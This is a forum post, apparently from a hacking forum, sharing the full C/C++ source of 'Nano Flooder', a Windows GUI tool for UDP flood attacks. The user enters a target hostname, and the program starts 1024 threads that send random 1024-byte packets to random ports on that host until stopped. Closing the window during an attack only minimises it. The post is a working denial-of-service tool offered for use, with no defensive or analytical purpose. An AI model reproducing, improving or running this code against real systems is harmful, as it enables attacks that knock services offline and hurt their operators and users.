Junk [Tool] UDP Flooder tool Source

Nobodyy · 05-02-2018, 09:44 PM

PHP Code:
#include <WinSock2.h>
#include <CommCtrl.h>
#define IDM_START 1
#define IDM_ABOUT 2
extern "C" BOOLEAN NTAPI SystemFunction036(PVOID Buffer,ULONG Length);
HWND hEdit,hButton;
BOOL Attacking=FALSE;
DWORD WINAPI ThreadProc(PVOID p)
{
  SOCKET s;
  sockaddr_in sai;
  char buf[1024];
  s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  SecureZeroMemory(&sai,sizeof(sockaddr_in));
  sai.sin_family=AF_INET;
  sai.sin_addr=*(in_addr*)p;
  while(Attacking)
  {
    SystemFunction036(&sai.sin_port,sizeof(USHORT));
    SecureZeroMemory(buf,1024);
    SystemFunction036(buf,1024);

    sendto(s,buf,1024,0,(sockaddr*)&sai,sizeof(sockaddr_in));
    Sleep(500);
  }
  closesocket(s); // Close the socket
  return 0;
}
LRESULT CALLBACK WindowProc(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
  HDC hDC;
  PAINTSTRUCT ps;
  in_addr Address;
  ULONG i;
  hostent* Host;
  char buf[1024];
  switch(uMsg)
  {
    case WM_CREATE:

      hEdit=CreateWindowEx(
        WS_EX_CLIENTEDGE,
        "Edit",
        NULL,
        WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL,
        10,5,200,20,
        hWnd,
        NULL,
        NULL,
        NULL
        );

      hButton=CreateWindowEx(
        0,
        "Button",
        "Start",
        WS_CHILD|WS_VISIBLE|WS_BORDER,
        220,5,70,20,
        hWnd,
        (HMENU)IDM_START,
        NULL,
        NULL
        );

      CreateWindowEx(
        0,
        "Button",
        "About",
        WS_CHILD|WS_VISIBLE|WS_BORDER,
        300,5,70,20,
        hWnd,
        (HMENU)IDM_ABOUT,
        NULL,
        NULL
        );
      break;
    case WM_DESTROY:
      PostQuitMessage(0);
      break;
    case WM_CLOSE:

      if(!Attacking)
      {
        DestroyWindow(hWnd);
      }
      else
      {
        ShowWindow(hWnd,SW_MINIMIZE);
      }
      break;
    case WM_PAINT:
      hDC=BeginPaint(hWnd,&ps);
      FillRect(hDC,&ps.rcPaint,NULL);
      EndPaint(hWnd,&ps);
      break;
    case WM_COMMAND:
      switch(LOWORD(wParam))
      {
        case IDM_START:
          if(!Attacking)
          {
            if(!SendMessage(hEdit,WM_GETTEXT,1024,(LPARAM)buf))
            {
              MessageBox(hWnd,"Please enter the target name.","Error",MB_ICONERROR);
              break;
            }
            Host=gethostbyname(buf);
            if(!Host)
            {
              wsprintf(buf,"Unable to resolve target name (%d)",WSAGetLastError());
              MessageBox(hWnd,buf,"Error",MB_ICONERROR);
              break;
            }
            Address.S_un.S_addr=*(PULONG)Host->h_addr;
            Attacking=TRUE; // Start the attack
            for(i=0;i<1024;i++)
            {
              CloseHandle(CreateThread(NULL,0,ThreadProc,&Address,0,NULL));
            }
            SendMessage(hButton,WM_SETTEXT,0,(LPARAM)"Stop");
          }
          else
          {
            Attacking=FALSE;
            SendMessage(hButton,WM_SETTEXT,0,(LPARAM)"Start");
          }
          break;
        case IDM_ABOUT:
          MessageBox(hWnd,"Flooder by PriX","About",MB_ICONINFORMATION);
          break;
        default:
          break;
      }
      break;
    default:
      return DefWindowProc(hWnd,uMsg,wParam,lParam);
  }
  return 0;
}
void WINAPI EntryPoint()
{
  WNDCLASSEX wc;
  MSG msg;
  HWND hWnd;
  WSADATA wd;
  int Result;
  char buf[1024];
  CreateMutex(NULL,TRUE,"Global\\NanoFlooderMutex");
  if(GetLastError()==ERROR_ALREADY_EXISTS)
  {
    hWnd=FindWindow("NanoFlooder","Nano Flooder");
    if(hWnd)
    {
      ShowWindow(hWnd,SW_SHOW);
      SetForegroundWindow(hWnd);
    }
    ExitProcess(0);
  }
  Result=WSAStartup(0x202,&wd);
  if(Result)
  {
    wsprintf(buf,"Unable to initialize Winsock (%d)",Result);
    MessageBox(NULL,buf,"Error",MB_ICONERROR);
    ExitProcess(0);
  }
  SecureZeroMemory(&wc,sizeof(WNDCLASSEX));
  // Initialize the window class
  wc.cbSize=sizeof(WNDCLASSEX);
  wc.lpfnWndProc=WindowProc;
  wc.lpszClassName="NanoFlooder";
  if(!RegisterClassEx(&wc))
  {
    wsprintf(buf,"Unable to register window class (%d)",GetLastError());
    MessageBox(NULL,buf,"Error",MB_ICONERROR);
    ExitProcess(0);
  }

  hWnd=CreateWindowEx(
    0,
    "NanoFlooder",
    "Nano Flooder",
    WS_VISIBLE|WS_CAPTION|WS_SYSMENU,
    CW_USEDEFAULT,CW_USEDEFAULT,385,60,
    NULL,
    NULL,
    NULL,
    NULL
    );
  if(!hWnd)
  {
    wsprintf(buf,"Unable to create the main window (%d)",GetLastError());
    MessageBox(NULL,buf,"Error",MB_ICONERROR);
    ExitProcess(0);
  }
  ShowWindow(hWnd,SW_SHOW);
  while(GetMessage(&msg,NULL,0,0))
  {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
  }
  WSACleanup();
  ExitProcess(0);
} 

Junk [Tool] UDP Flooder tool Source

Submitted by Nobodyy, 05-02-2018, 09:44 PM, Thread ID: 73684